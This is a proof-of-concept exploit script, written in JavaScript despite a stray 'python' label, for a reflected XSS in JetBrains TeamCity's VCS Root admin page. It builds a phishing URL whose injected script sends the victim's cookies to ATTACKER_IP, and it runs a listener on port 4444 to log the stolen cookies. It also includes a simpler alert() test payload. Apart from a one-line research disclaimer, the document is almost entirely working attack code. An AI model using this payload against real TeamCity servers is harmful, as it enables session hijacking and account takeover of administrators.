The following code is for security research and authorized testing only.
python
// CVE-2025-68165 PoC - Reflected XSS in JetBrains TeamCity VCS Root setup
// Target: JetBrains TeamCity < 2025.11
const http = require('http');
// Attacker's controlled server to capture cookies
const attackerServer = http.createServer((req, res) => {
console.log('Received request from victim:', req.url);
// Log the cookie or session info
if (req.headers.cookie) {
console.log('Cookie captured:', req.headers.cookie);
}
res.writeHead(200, {'Content-Type': 'image/gif'});
res.end('GIF89a');
});
attackerServer.listen(4444, () => {
console.log('Attacker server listening on port 4444');
});
// Malicious URL construction for TeamCity VCS Root XSS
// Replace TEAMCITY_URL with the target server
const teamcityUrl = 'http://TEAMCITY_URL:8111';
const maliciousScript = `<script>new Image().src='http://ATTACKER_IP:4444?c='+document.cookie;</script>`;
const encodedScript = encodeURIComponent(maliciousScript);
// VCS Root parameter injection
const xssPayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=test${encodedScript}`;
console.log('\n=== CVE-2025-68165 Reflected XSS PoC ===');
console.log('Malicious URL to send to victim:');
console.log(xssPayload);
console.log('\nIn a real attack, this URL would be disguised in a phishing email.');
console.log('When victim clicks the link, their cookies will be sent to attacker.');
// Alternative PoC - Direct script injection
const simplePayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=<img src=x onerror=alert(document.domain)>`;
console.log('\nSimple test payload:');
console.log(simplePayload);